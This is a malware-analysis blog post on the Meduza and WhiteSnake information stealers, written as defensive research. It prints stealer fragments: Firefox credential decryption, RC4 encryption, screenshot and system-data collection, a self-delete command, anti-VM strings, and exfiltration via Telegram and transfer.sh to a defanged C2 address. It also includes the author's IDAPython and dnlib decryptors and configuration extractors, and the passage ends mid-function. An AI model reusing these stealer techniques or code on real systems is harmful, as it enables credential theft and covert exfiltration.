defgecko_decrypt(
s_path: str,
master_password: str = ""
) -> Optional[List[GeckoLogin]]:
try:
path = Path(s_path)
key, algo = get_key(master_password.encode(), path)
if key is None:
raise ValueError("Unknown error: try to specify master password")
logins = getLoginData(path)
if len(logins) == 0:
logger.warning("No stored passwords")
else:
logger.info("Decrypting login/password pairs")
result: List[GeckoLogin] = []
if algo == '1.2.840.113549.1.12.5.1.3' or algo == '1.2.840.113549.1.5.13':
for login in logins:
assert login[0][0] == CKA_ID
res = GeckoLogin()
res.url = login[2]
iv = login[0][1]
ciphertext = login[0][2]
res.username = unpad(DES3.new(key, DES3.MODE_CBC, iv).decrypt(ciphertext), 8).decode()
iv = login[1][1]
ciphertext = login[1][2]
res.password = unpad(DES3.new(key, DES3.MODE_CBC, iv).decrypt(ciphertext), 8).decode()
result.append(res)
logger.debug(result)
return result
except KeyboardInterrupt as ki:
raise ki
except BaseException as error:
return logger.error(f"{type(error).__name__}: {str(error)}")
Below is the snippet of how the logs are parsed and sent to Telegram Bot. The logs are compressed with 7z.
The code below is responsible for adding tokens and validating their integrity, ensuring their authenticity before interacting with the main server. It performs validations on the received data, such as checking the timestamp and verifying the integrity of the data. The code checks the provided timestamp against the current UTC timestamp to ensure it is within an acceptable range. If the timestamp is invalid, an error response is returned. If the validations pass, the code encrypts the token and sends a request to the main server (hxxp://89.185.85[.]245) with the encrypted token and other necessary information. The code uses the HashGenerator class and the SHA-512 hash algorithm (sha512) to generate a hash of the concatenated values of token and data.utc_timestamp. It then compares this generated hash with the provided data.sign. If the hashes do not match, an error response is returned, indicating that the input data cannot be validated. The response from the server is processed, and if the authentication is successful (based on the success flag in the response), the received token is stored in the database for further use. A similar operation is performed in the payload. The payload is sent to a remote server as part of an HTTP request. The server will use the provided sign value to validate the integrity of the data by performing the same hash calculation on its end, taking the generated hash value for panel_hash obtained from the registry key into consideration.
As mentioned before, the panel handles the parsing and decryption of the collected data. You can see how it parses the data extracted from Chromium browsers using SQL queries in a pseudocode below. Interestingly enough, we can also see the path of the Meduza Stealer’s source code: C:\Users\79026\source\repos\MedusaServer\Src\Core\Parser\Chromium.cpp
Meduza Stealer performs panel hash verification as a part of the panel authentication/registration process. It queries the hash value assigned to PanelHash under Computer\HKEY_CURRENT_USER\SOFTWARE\Medusa.
Below is the mention of the log folder creation and builder output to notify that the main socket is listening on port 15666. Please note that the port is static and cannot be changed at this time.
Have you noticed that there is a mention of AuroraStealer.cpp? Also, if you compare the logs for Aurora and Meduza stealers. I wrote a blog on Aurora Stealer if you want to check it out here. I am not aware of any Aurora Stealer source code leaks so far. But if you know of any, I would love to hear about it.
Moreover, there is also a slight overlap in Telegram logs layout.
The code below is responsible for creating folders for gathered logs that are then archived.
In the code snippet below, you can see that the pointers to the vftables (virtual function tables) of classes, such as GeckoParser, SteamDecoder, TelegramParser, DiscordParser, and SystemParser are being assigned. These vftables act as a “lookup table” for the corresponding objects’ virtual functions. When a virtual function is invoked on an object, the stealer will refer to the appropriate vftable based on the object’s type at runtime to determine the specific implementation of the function to execute, for example, parsing the system information collected.
The stealer uses vpxor and pxor instructions to perform Vector Packed Bitwise XOR and Packed XOR operations on strings. The xor instruction in x86 assembly language performs a bitwise XOR operation between two operands, which can be registers or memory locations. It operates on single data elements rather than vectorized data. On the other hand, vpxor and pxor instructions are specifically designed for SIMD operations (Single instruction, multiple data), where multiple data elements are processed simultaneously in parallel. These instructions allow for parallel execution of XOR operations on packed data and can significantly improve performance in scenarios that involve processing large amounts of data in parallel.
The stealer retrieves the information about the native system and version information using RtlGetVersion and GetNativeSystemInfo functions accordingly and then parses the retrieved information based on the following decrypted strings:
Unknown Edition
Web Server (core installation)
Standard Edition (core installation)
Microsoft Hyper-V Server
Windows 10 IoT Core
Windows IoT Enterprise
Windows Home Server
Windows Storage Server
Standard Edition
Small Business Server Premium Edition
Small Business Server
Server Enterprise (core installation)
Enterprise Evaluation
Server Enterprise
Server Standard (core installation)
Datacenter Edition (core installation)
Datacenter Edition
Server Hyper Core V
Business Edition
Windows Essential Server Solution Management
Windows Essential Server Solution Additional
Professional Education
Meduza Stealer reaches out to https://api.ipify.org to determine the public IP of the infected machine.
The code below retrieves and processes geographic information based on the user’s location and then appends the result to “geo” tag.
The time zone information is retrieved via accessing the registry key SYSTEM\CurrentControlSet\Control\TimeZoneInformation and calling the function TimeZoneKeyName.
Telegram presence on the host is checked via the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1, specifically the InstallLocation value.
C2 Communication
C2 communication is super similar to Aurora Stealer. It is base64-encoded and parsed in a JSON format. As mentioned before, the stealer communicates with the server over the default port 15666.
Summary
Meduza Stealer developers also offer malware development services based on C/C++, Java, JavaScript/TypeScript, Kotlin (JVM), and Python programming languages. (No mention of GoLang? 🙂 ). We might never find out the truth, but it is highly likely that Aurora Stealer developers are also behind Meduza Stealer.
According to Abaddon, who specializes in providing services similar to the Eye of God (one of the Russian Internet’s main data-leak hubs), the Botnet project was the reason Aurora left the market unexpectedly and taking its servers down; it failed to meet users’ expectations and delivered many promises for the product that they could not handle. It is worth mentioning that Aurora priced the botnet at 700$ for a month and 3000$ for lifetime access.
To summarize this blog, I wrote an IDAPython script to decrypt the strings for 32-bit samples of Meduza Stealers. You can access the script on my GitHub page
Out of curiosity, I tried to pivot other samples based on the developer’s path and stumbled upon HydraClipper (MD5: add6ae21d25ffe8d312dd10ba98df778), which is apparently a clipper that is likely written by the same developer.
IDAPython string decryption script
# Author: RussianPanda
# Reference: https://github.com/X-Junior/Malware-IDAPython-Scripts/tree/main/PivateLoader
# Tested on sample https://www.unpac.me/results/7cac1177-08f5-4faa-a59e-3c7107964f0f?hash=29cf1ba279615a9f4c31d6441dd7c93f5b8a7d95f735c0daa3cc4dbb799f66d4#/
import idautils, idc, idaapi, ida_search
import re
pattern1 = '66 0F EF'
pattern2 = 'C5 FD EF'
# Start search from end of the file
start = idc.get_segm_end(idc.get_first_seg())
addr_to_data = {}
defsearch_and_process_pattern(pattern, start):
while True:
addr = ida_search.find_binary(start, 0, pattern, 16, ida_search.SEARCH_UP | ida_search.SEARCH_NEXT)
if addr == idc.BADADDR:
break
ptr_addr = addr
found_mov = False
data = ''
for _ in range(400):
ptr_addr = idc.prev_head(ptr_addr)
if idc.print_insn_mnem(ptr_addr) == 'call' or idc.print_insn_mnem(ptr_addr) == 'jmp' or idc.print_insn_mnem(ptr_addr) == 'jz':
breakif idc.print_insn_mnem(ptr_addr) == 'movaps' and re.match(r'xmm[0-9]+', idc.print_operand(ptr_addr, 1)):
breakif idc.print_insn_mnem(ptr_addr) == 'mov':
# Ignore the instruction if the destination is ecx
if idc.print_operand(ptr_addr, 0) == 'ecx' or idc.print_operand(ptr_addr, 0) == 'edx':
continue
op1_type = idc.get_operand_type(ptr_addr, 0)
op2_type = idc.get_operand_type(ptr_addr, 1)
operand_value = idc.get_operand_value(ptr_addr, 1)
if (op1_type == idc.o_displ or op1_type == idc.o_reg) and op2_type == idc.o_imm and len(hex(operand_value)[2:]) >= 4:
hex_data = hex(idc.get_operand_value(ptr_addr, 1))[2:]
hex_data = hex_data.rjust(8, '0')
if hex_data.endswith('ffffffff'):
hex_data = hex_data[:-8]
if hex_data.startswith('ffffffff'):
hex_data = hex_data[8:]
# Alternative method for unpacking hex data
bytes_data = bytes.fromhex(hex_data)
int_data = int.from_bytes(bytes_data, 'little')
hex_data = hex(int_data)[2:].rjust(8, '0')
data = hex_data + data
found_mov = True
if found_mov: # Append the data only if the desired mov instruction was found
if addr in addr_to_data:
addr_to_data[addr] = data + addr_to_data[addr]
else:
addr_to_data[addr] = data
# Continue search from the previous address
start = addr - 1
# Search and process pattern1
search_and_process_pattern(pattern1, start)
# Reset the start variable to search for pattern2
start = idc.get_segm_end(idc.get_first_seg())
# Search and process pattern2
search_and_process_pattern(pattern2, start)
# XOR the string and key and print the decrypted strings
for addr, data in addr_to_data.items():
if len(data) >= 10:
string = data[:len(data)//2]
key = data[len(data)//2:]
# XOR the string and key
xored_bytes = bytes([a ^ b for a, b in zip(bytes.fromhex(string), bytes.fromhex(key))])
decrypted_string = xored_bytes.decode('utf-8', errors='ignore')
print(f"{hex(addr)}: {decrypted_string}")
# Set IDA comment at the appropriate address
idaapi.set_cmt(addr, decrypted_string, 0)
I was also inspired by @herrcore research with Unicorn Engine implementation and wrote the configuration extractor that grabs the C2 and build name on most samples. The extractor was written using Unicorn Engine and Python. It was my first time messing with Unicorn Engine, so any feedback is welcome.
You can grab the configuration from my GitHub page as well.
WhiteSnake Stealer first appeared on hacking forums at the beginning of February 2022.
The stealer collects data from various browsers such as Firefox, Chrome, Chromium, Edge, Brave, Vivaldi, CocCoc, and CentBrowser. Besides browsing data, it also collects data from Thunderbird, OBS-Studio, FileZilla, Snowflake-SSH, Steam, Signal, Telegram, Discord, Pidgin, Authy, WinAuth, Outlook, Foxmail, The Bat!, CoreFTP, WinSCP, AzireVPN, WindscribeVPN.
The following are crypto wallets collected by WhiteSnake: Atomic, Wasabi, Exodus, Binance, Jaxx, Zcash, Electrum-LTC, Guarda, Coinomi, BitcoinCore, Electrum, Metamask, Ronin, BinanceChain, TronLink, Phantom.
The subscription pricing for the stealer:
120$ – 1 month
300$ – 3 months
500$ – 6 months
900$ – 1 year
1500$ – lifetime
The stealer claims to leave no traces on the infected machine; it does not require the user to rent the server. The communication between the infected and the attacker’s controlled machine is handled by Tor. The stealer also has loader and grabber functionalities.
What also makes this stealer interesting and quite unique compared to other stealer families is the payload support in different file extensions such as EXE, SCR, COM, CMD, BAT, VBS, PIF, WSF, .hta, MSI, PY, DOC, DOCM, XLS, XLL, XLSM. Icarus Stealer was probably the closest one to this stealer with the file extension support feature. You can check out my write-up on it here. Another interesting feature is the Linux Stub Builder, where the user can generate Python or .sh (shell) files to run the stealer on Linux systems. The stealer would collect the data from the following applications: Firefox, Exodus, Electrum, FileZilla, Thunderbird, Pidgin, and Telegram.
But enough about the introduction. Let us jump into the technical part and the stealer panel overview.
WhiteSnake Analysis
WhiteSnake builder panel contains the settings to enable the Telegram bot for C2 communication. The user can also configure Loader and Grabber settings. The user can choose whether to encrypt the exfiltrated data with just an RC4 key or add an RSA encryption algorithm. With RC4 encryption, anyone with access to the stealer builder can decrypt the logs. But RSA + RC4 encryption algorithm, the user would need to know the private RSA key to be able to extract an RC4 key which is quite challenging.
The user can add the fake signature to the generated builds. There are currently eight signatures under the user’s exposal.
Adobe (Adobe Systems Incorporated, VeriSign)
Chrome (Google LLC, DigiCert)
Firefox (Mozilla Corporation, DigiCert)
Microsoft (Microsoft Corporation, Microsoft Code Singing PCA 2011)
Oracle (Oracle Corporation, DigiCert, VeriSign)
Telegram (Telegram FZ-LLC, Sectigo)
Valve (Valve Corp., DigiCert)
WinRar (win.rar GmbH, Globalsign)
Stealers such as Vidar and Aurora (RIP) have the file size pumper enabled to append junk bytes to the end of the builds to increase the file, thus avoiding the detection and preventing it from being analyzed by most sandboxes. The user can pump the file size up to 1000MB. The user can choose a specific .NET framework version to run the stealer. Version 2.0 works for Windows 7, and version 4.7 works for Windows 8 and above.
The stealer has two execution methods:
Non-resident – the stealer auto-deletes itself after successful execution
Resident – the stealer beacons out to the C2 WhiteSnake stealer payload can be generated with these features enabled:
AntiVM
Auto-Keylogger
Random resources
USB Spread
Local user spread I will mention some of these features further in this write-up.
Let’s look at some of the payloads with different file extensions.
Cmd – this generates the batch file The batch file sets the command line title to “Update … “. sets an environment variable named s7545ebdc38726fd35741ea966f41310d746768 with the value %TEMP%\Ja97719d578b685b1f2f4cbe8f0b4936cf8ca52. The %TEMP% represents the path to the user’s temporary folder. The final decoded payload is saved as P114cace969bca23c6118304a9040eff4.exe under the %TEMP% folder.
The script grabs the substring that starts and ends with a specific index specified in the batch file. Taking, for example, echo %XMgElBtkFoDvgdYKfJpS:~0,600% , it extracts the substring starting from index 0 and ending at index 600 (inclusive) from the variable XMgElBtkFoDvgdYKfJpS, which is:
set XMgElBtkFoDvgdYKfJpS=TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAKZEs4YAAAAAAAAAAOAAIgALATAAACAFAAAKAAAAAAAAHj4FAAAgAAAAQAUAAABAAAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACABQAAAgAAAAAAAAIAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAMg9BQBTAAAAAEAFABQHAAAAAAAAAAAAAAAAAAAAAAAAAGAFAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAJB4FAAAgAAAAIAUAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAABQHAAAAQAUAAAgAAAAiBQAAAAAAAAAAAAAA6g
You might have noticed that the string begins with TVqQ, which decodes to an MZ header from Base64.
When the big base64-encoded blob is formulated, certutil is used to decode it, and the executable is launched under the mentioned %TEMP% folder.
VBS – generates the VBS file that is launched via wscript.exe, and, again, certutil is used to decode the Base64 blob. The file containing the Base64 blob is saved under the same folder as the decoded executable file (%TEMP%). The Base64 blob is in reversed order. After decoding, the payload is placed under the Temp folder mentioned above as a randomly generated filename, for example, od1718d0be65b07c0fd84d1d9d446.exe (GetSpecialFolder(2) retrieves the Temp folder)
WSF and HTA – the same logic as for the VBS is applied to WSF and HTA payloads.
Python payload. The payloads can be generated either in Python 1-2 or 3. With Python 1-2, the stealer payload is executed from the %TEMP% directory after Base64-decoding.
With Python 3, the code checks if the operating system is Linux; if not, then it exits with the following condition:
if 'linux' notin H().lower():
exit(1)
The code also checks if the ISP obtained from the IP geolocation API matches certain predefined values. If a match is found with either ‘google’ or ‘mythic beasts’, the script exits with an exit code of 5 as shown below:
I,J=O.data.decode(N).strip().split('\n')
for P in ['google','mythic beasts']:
if P in J.lower():exit(5)
The screenshot caption function operates the following way:
First, the code checks if the variable S is set to True, which indicates that the PIL (Python Imaging Library) module, specifically ImageGrab from PIL, is available. If the module is available, the variable S is set to True. Otherwise, it is set to False.
Inside the n() function, an attempt is made to capture the screenshot using the PIL module if S is True. The ImageGrab module’s grab() function is called to capture the screenshot, and then it is saved to a BytesIO object called C as a PNG image.
The BytesIO object C, which holds the PNG image data, is then encoded as base64 using the b64encode() function from the base64 module. The resulting base64-encoded image is assigned to the variable C.
The base64-encoded screenshot image is saved to a JSON file named system.json along with other system-related information like the username, computer name, IP address, operating system, Stub version, Tag, and Execution timestamp, as shown in the code snippet below:
with open(A.join(B,'system.json'),'w')as R:dump({'Screenshot':C,'Username':D(),'Compname':E(),'OS':H(),'Tag':T,'IP':I,'Stub version':k,'Execution timestamp':time()},R)
Let’s look at this function:
defp(buffer):
A = d(16)
B = Z(buffer)
C = m(A, B)
return b'LWSR$' + C + A
Which does the following:
A = d(16) – it generates a 16-byte random key, which is assigned to the variable A.
B = Z(buffer) – the buffer is passed to the Z function, assigning the result to the variable B. The implementation of the Z function is not provided in the code snippet, so it is unclear what it does.
C = m(A, B) – the m function is called with the key A and the processed buffer B. The m function seems to perform some encryption or transformation on the buffer using the provided key.
return b’LWSR$’ + C + A – the function concatenates the byte string ‘LWSR$’, the transformed buffer C, and the key A. It returns the resulting byte string. The ‘LWSR$’ prefix could potentially be used as a marker or identifier for the encrypted data.
The m function contains the RC4 encryption function shown below:
defm(key,data):
A=list(W(256));C=0;D=bytearray()
for B in W(256):C=(C+A[B]+key[B%len(key)])%256;A[B],A[C]=A[C],A[B]
B=C=0
for E in data:B=(B+1)%256;C=(C+A[B])%256;A[B],A[C]=A[C],A[B];D.append(E^A[(A[B]+A[C])%256])
return bytes(D)
j parameter contains the configuration of the stealer:
The configuration is used to enumerate through the directories and extract the predefined data such as Firefox cookies and credentials, Thunderbird and FileZilla config files, cryptocurrency wallets, Telegram, and Signal data. The extracted data is then RC4-encrypted with a random 16-byte key, compressed in a ZIP archive, and sent over to transfer.sh and Telegram Bot.
The snippet that is responsible for sending data to transfer.sh and Telegram:
It is worth noting that at the time of writing this report, transfer.sh has been down for a few weeks, so our Python 3 payload will not work 😉
MSI payload – contains the Custom Action to execute the embedded stealer.
Macro – the macro script contains the Base64-encoded reversed blob, which is the stealer itself. Upon decoding and reversing the blob, it’s saved as an executable file under the %TEMP% folder.
The builder of WhiteSnake is built with Python. The standalone builder was built using PyInstaller, that includes all the necessary Python extension modules.
WhiteSnake Stealer Analysis
The WhiteSnake Stealer is written in .NET and is approximately 251KB in size (the latest version with all features enabled) in the obfuscated version. In the obfuscated stealer binary, the strings are RC4-encrypted, in the previous versions of the stealer, the strings obfuscation relied on XOR instead. In the newest version, the stealer developer removed the random callouts to legitimate websites.
The developer also removed string obfuscation that relied on building an array of characters and then converting the array into a string. The character for each position in the array is created by performing various operations, such as division, addition, and subtraction, on numeric values and lengths of strings or byte arrays.
I went ahead and used de4dot to decrypt all the strings and I also changed some of the method and class names to make it easier to understand the stealer functionality.
The code in the Entry Point below retrieves the location or filename of the executing assembly using Assembly.GetExecutingAssembly().Location. If the location is unavailable or empty, it tries to get the filename of the main module of the current process using Process.GetCurrentProcess().MainModule.FileName. If either the location or the filename is not empty, it assigns the value to the text variable. If there is an exception during the process, it catches the exception and writes the error message to installUtilLog.txt file located at %TEMP%.
Next, the stealer checks if the Mutex is already present to avoid two instances of the stealer running. The mutex value is present in the configuration of the stealer. If the mutex is present, the stealer will exit.
If the AntiVM is enabled, the flag to 1 is set. The stealer checks for the presence of the sandboxes by utilizing the WMI (Windows Management Instrumentation) query:
SELECT * FROM Win32_ComputerSystem
The query retrieves the “Model” and “Manufacturer” properties. The stealer checks if any of the properties contain the strings:
virtual
vmbox
vmware
thinapp
VMXh
innotek gmbh
tpvcgateway
tpautoconnsvc
vbox
kvm
red hat
qemu
And if one of the strings is present, the stealer exits out.
Next, the stealer checks if the execution method flag is set to 1, meaning that the resident mode is enabled. If the mode is enabled, the stealer creates the persistence via scheduled task on the host
The folder name EsetSecurity is also obtained from the configuration of the stealer.
Moving forward, the Tor directory is created under the random name retrieved from the configuration under %LOCALAPPDATA%. The TOR archive is then retrieved from https://archive.torproject.org/. Tor, short for “The Onion Router,” is a free and open-source software project that aims to provide anonymous communication on the Internet. WhiteSnake uses TOR for communication, which makes it quite unique compared to other stealers. Hidden services or onion services allow services to be hosted on the Tor network without requiring traditional servers or port forwarding configurations. With Tor’s hidden services, the connection is established within the Tor network itself, which provides anonymity. When a hidden service is set up, it generates a unique address ending with .onion under C:\Users<username>\AppData\Local<random_name>\host. This address can only be accessed through the Tor network, and the connection is routed through a series of Tor relays, making it difficult to trace the actual attacker’s server.
The function below is responsible for building out the torr.txt, also known as Tor configuration file.
Example of the Tor configuration file:
SOCKSPort 4256: This field specifies the port number (6849) on which Tor should listen for SOCKS connections. The SOCKS protocol is commonly used to establish a proxy connection for applications to communicate through Tor.
ControlPort 4257: This field sets the port number (6850) for the Tor control port. The control port allows external applications to interact with the Tor process.
DataDirectory C:\Users<username>\AppData\Local<random_name>\data: The DataDirectory field specifies the directory where Tor should store its data files, such as its state, cached data, and other runtime information.
HiddenServiceDir C:\Users<username>\AppData\Local<random_name>\host: This directive specifies the directory where Tor should store the files related to a hidden service. Hidden services are websites or services hosted on the Tor network, typically with addresses ending in .onion. In this example, the hidden service files will be stored in C:\Users<username>\AppData\Local<random_name>\host.
HiddenServicePort 80 127.0.0.1:6848: This field configures a hidden service to listen on port 80 on the local loopback interface (127.0.0.1) and forward incoming connections to port 6848.
HiddenServiceVersion 3: This field specifies the version of the hidden service. Please note that the port numbers can vary on each infected machine.
The stealer then proceeds to check if the file report.lock exists within the created Tor directory, if it does not, the stealer proceeds with loading the APIs such as GetModuleHandleA, GetForegroundWindow, GetWindowTextLengthA, GetWindowTextA, GetWindowThreadProcessId, and CryptUnprotectData. Then it proceeds with parsing the stealer configuration (the data to be exfiltrated). I have beautified the configuration for a simplified read.
The code below is responsible for parsing and retrieving information from directories and files related to browsing history, cookies, and extensions.
WhiteSnake creates the WSR file that is encrypted using the RC4-encryption algorithm with a key generated on the fly. The WSR filename is comprised of the first random 5 characters, followed by _username`, @computername and _report, the example is shown below. The WSR is the file containing the exfiltrated data.
hhcvT_administrator@WINDOWS-CBVFCB_report
It is worth noting that if the attacker has RC4 + RSA encryption option set (by default), then the RC4 key is encrypted with RSA encryption, and the RSA public key is stored in the configuration.
Below is the function responsible for basic information parsing.
The stealer appends certain fields to the basic information of the infected machine before sending it out to Telegram Bot configured by an attacker.
The WSR log file is uploaded to one of the available servers listed in the configuration file. If one of servers is not available and the web request fails, the stealer tries the next IP on the list.
The attacker has two options to get the logs from Telegram.
Download the WSR locally from one of the servers hosting the log file.
Open directly via localhost (for example, http://127.0.0.1:18772/handleOpenWSR?r=http://IP_Address:8080/get/CBxn1/hhcvT_administrator@WINDOWS-CBVFCB_report.wsr). By accessing that URL the attacker will get the logs parsed directly into the WhiteSnake report viewer panel show below on the right. We will come back to the report viewer panel later in this blog.
The snippet of Outlook parsing is shown below. The stealer retrieves Outlook information from the registry key based on the default profile.
WhiteSnake stealer uses WMI queries for basic system information enumeration as mentioned above. Here are some other queries that are ran by the stealer:
SELECT * FROM Win32_Processor – the query retrieves information about the processors (CPUs) installed on the computer.
SELECT * FROM Win32_VideoController – the query retrieves information about the video controllers (graphics cards) installed on the computer
SELECT * FROM Win32_LogicalDisk WHERE DriveType = 3 – the query retrieves information about logical disks (such as hard drives or SSDs) on the computer where the DriveType equals 3. DriveType 3 corresponds to local disk drives.
SELECT * FROM Win32_ComputerSystem – the query retrieves information about the computer system where the TotalPhysicalMemory
The stealer retrieves the list of installed applications by querying the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
If the Loader capability is enabled, the stealer will attempt to retrieve it from the payload hosting URL and place it under %LOCALAPPDATA%. Then UseShellExecute is used to run the executable.
If the USB Spread option is enabled, the stealer performs the following:
Iterate over all available drives on the system using the DriveInfo.GetDrives() method.
For each DriveInfo object in the collection of drives, it performs the following actions such as checking if the drive type is “Removable” (driveInfo.DriveType == DriveType.Removable), indicating a removable storage device is a USB drive, checking if the drive is ready (driveInfo.IsReady), meaning it is accessible and can be written to, checking if the available free space on the drive is greater than 5242880 bytes
If the above conditions are met, it constructs a file path by combining the root directory of the drive (driveInfo.RootDirectory.FullName) with a file name represented by USB_Spread.vN6.
It then checks if the stealer file exists
If the file doesn’t exist, it copies a file to the USB drive.
With the Local User Spread option, the stealer queries for user accounts with Win32_UserAccount. Then it copies the stealer executable to the Startup folder of user accounts on the local computer, excluding the current user’s Startup folder.
Upon successful execution of the stealer, it deletes itself using the command
cmd.exe” /c chcp 65001 && ping 127.0.0.1 && DEL_ /F /S /Q /A “path to the stealer”
Below is the functionality of the keylogger.
The keylogger function relies on the APIs:
SetWindowsHookExA
GetKeyState
CallNextHookEx
GetKeyboardState
MapVirtualKeyA
GetForegroundWindow
GetWindowThreadProcessId
GetKeyboardLayout
ToUnicodeEx
Another unique feature of WhiteSnake is the remote terminal that allows an attacker to establish the remote session with the infected machine and execute certain commands such as:
screenshot – taking the screenshot of the infected machine
uninstall – uninstall the beacon from the infected machine
refresh – refresh the log credentials
webcam – take the webcam photo
stream – start streaming webcam or desktop
keylogger – control the keylogger
cd – change the current directory
ls – list files in current directory
get-file – download file from remote PC
dpapi – decrypts the DPAPI (base64-encoded) blob
process-list – get running processes
transfer – upload the file to one of the IPs listed in the configuration
loader – retrieves the file from the URL
loadexec – retrieves and executes the file on the infected machine with cmd.exe in a hidden window
compress – creates a ZIP archive from a directory
decompress – extracts ZIP content to the current directory
The code responsible for the remote terminal functionality is shown below.
For the webcam, the stealer retrieves devices of class “Image” or “Camera” using the Win32_PnPEntity class in the Windows Management Instrumentation (WMI) database. The stealer attempts to capture an image from the webcam and returns the image data as a byte array in PNG format. It uses various API functions such as capCreateCaptureWindowA, SendMessageA, and the clipboard to perform the capture.
Configuration Extractor
I wrote the configuration extractor for samples that are obfuscated with XOR and RC4 that relies on dnlib.
XOR version
#Author: RussianPanda
#Tested on samples:
# f7b02278a2310a2657dcca702188af461ce8450dc0c5bced802773ca8eab6f50
# c219beaecc91df9265574eea6e9d866c224549b7f41cdda7e85015f4ae99b7c7
import argparse
import clr
parser = argparse.ArgumentParser(description='Extract information from a target assembly file.')
parser.add_argument('-f', '--file', required=True, help='Path to the stealer file')
parser.add_argument('-d', '--dnlib', required=True, help='Path to the dnlib.dll')
args = parser.parse_args()
clr.AddReference(args.dnlib)
import dnlib
from dnlib.DotNet import *
from dnlib.DotNet.Emit import OpCodes
module = dnlib.DotNet.ModuleDefMD.Load(args.file)
defxor_strings(data, key):
return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(data, key * (len(data) // len(key) + 1)))
defhas_target_opcode_sequence(method):
target_opcode_sequence = [OpCodes.Ldstr, OpCodes.Ldstr, OpCodes.Call, OpCodes.Stelem_Ref]
if method.HasBody:
opcode_sequence = [instr.OpCode for instr in method.Body.Instructions]
for i in range(len(opcode_sequence) - len(target_opcode_sequence) + 1):
if opcode_sequence[i:i + len(target_opcode_sequence)] == target_opcode_sequence:
return True
return False
defprocess_methods():
decrypted_strings = []
check_list = []
for type in module.GetTypes():
for method in type.Methods:
if has_target_opcode_sequence(method) and method.HasBody:
instructions = list(method.Body.Instructions)
for i in range(len(instructions) - 1):
instr1 = instructions[i]
instr2 = instructions[i + 1]
if instr1.OpCode == OpCodes.Ldstr and instr2.OpCode == OpCodes.Ldstr:
data = instr1.Operand
key = instr2.Operand
if isinstance(data, str) and isinstance(key, str):
decrypted_string = xor_strings(data, key)
decrypted_strings.append(decrypted_string)
# Only consider ldstr instructions
if instr1.OpCode == OpCodes.Ldstr and (instr1.Operand == '1' or instr1.Operand == '0'):
check_list.append(instr1.Operand)
return decrypted_strings, check_list
defprint_stealer_configuration(decrypted_strings, xml_declaration_index):
config_cases = {
".": {
"offsets": [(5, "Telgeram Bot Token"), (7, "Mutex"), (8, "Build Tag"), (4, "Telgeram Chat ID"),
(1, "Stealer Tor Folder Name"), (2, "Stealer Folder Name"), (6, "RSAKeyValue")]
},
"RSAKeyValue": {
"offsets": [(1, "Stealer Tor Folder Name"), (2, "Stealer Folder Name"), (3, "Build Version"),
(4, "Telgeram Chat ID"), (5, "Telgeram Bot Token"), (6, "Mutex"), (7, "Build Tag")]
},
"else": {
"offsets": [(1, "Stealer Tor Folder Name"), (2, "Stealer Folder Name"), (3, "Build Version"),
(4, "Telgeram Chat ID"), (5, "Telgeram Bot Token"), (6, "RSAKeyValue"), (7, "Mutex"),
(8, "Build Tag")]
}
}
condition = "." if "." in decrypted_strings[xml_declaration_index - 1] else \
"RSAKeyValue" if "RSAKeyValue" notin decrypted_strings[xml_declaration_index - 6] else "else"
offsets = config_cases[condition]["offsets"]
config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in offsets if xml_declaration_index >= o}
for o, n in offsets:
print(f"{n}: {config_data.get(o, 'Not Found')}")
defprint_features_status(check_list):
features = [
(0, "AntiVM"),
(1, "Resident"),
(2, "Auto Keylogger"),
(3, "USB Spread"),
(4, "Local Users Spread"),
]
for o, n in features:
status = 'Enabled' if check_list[o] == '1' else 'Disabled'
print(f"{n}: {status}")
defprint_C2(decrypted_strings):
for data in decrypted_strings:
if "http://" in data and "127.0.0.1" notin data and "www.w3.org" notin data:
print("C2: " + data)
defmain():
decrypted_strings, check_list = process_methods()
xml_declaration = '<?xml version="1.0" encoding="utf-16"?>'
xml_declaration_index = next((i for i, s in enumerate(decrypted_strings) if xml_declaration in s), None)
if xml_declaration_index isnot None:
print("Stealer Configuration: " + decrypted_strings[xml_declaration_index])
print_stealer_configuration(decrypted_strings, xml_declaration_index)
print_features_status(check_list)
print_C2(decrypted_strings)
if __name__ == "__main__":
main()
Output example:
RC4 version
#Author: RussianPanda
import argparse
import clr
import logging
parser = argparse.ArgumentParser(description='Extract information from a target assembly file.')
parser.add_argument('-f', '--file', required=True, help='Path to the stealer file')
parser.add_argument('-d', '--dnlib', required=True, help='Path to the dnlib.dll')
args = parser.parse_args()
clr.AddReference(args.dnlib)
import dnlib
from dnlib.DotNet import *
from dnlib.DotNet.Emit import OpCodes
module = dnlib.DotNet.ModuleDefMD.Load(args.file)
logging.basicConfig(filename='app.log', filemode='w', format='%(name)s - %(levelname)s - %(message)s')
defIchduzekkvzjdxyftabcqu(A_0, A_1):
try:
string_builder = []
num = 0
array = list(range(256))
for i in range(256):
array[i] = i
for j in range(256):
num = ((ord(A_1[j % len(A_1)]) + array[j] + num) % 256)
num2 = array[j]
array[j] = array[num]
array[num] = num2
for k in range(len(A_0)):
num3 = k % 256
num = (array[num3] + num) % 256
num2 = array[num3]
array[num3] = array[num]
array[num] = num2
decrypted_char = chr(ord(A_0[k]) ^ array[(array[num3] + array[num]) % 256])
string_builder.append(decrypted_char)
return ''.join(string_builder)
except Exception as e:
logging.error("Error occurred in Ichduzekkvzjdxyftabcqu: " + str(e))
return None
defhas_target_opcode_sequence(method):
target_opcode_sequence = [OpCodes.Ldstr, OpCodes.Ldstr, OpCodes.Call, OpCodes.Stelem_Ref]
if method.HasBody:
# Get the sequence of OpCodes in the method
opcode_sequence = [instr.OpCode for instr in method.Body.Instructions]
# Check if the target sequence is present in the opcode sequence
for i in range(len(opcode_sequence) - len(target_opcode_sequence) + 1):
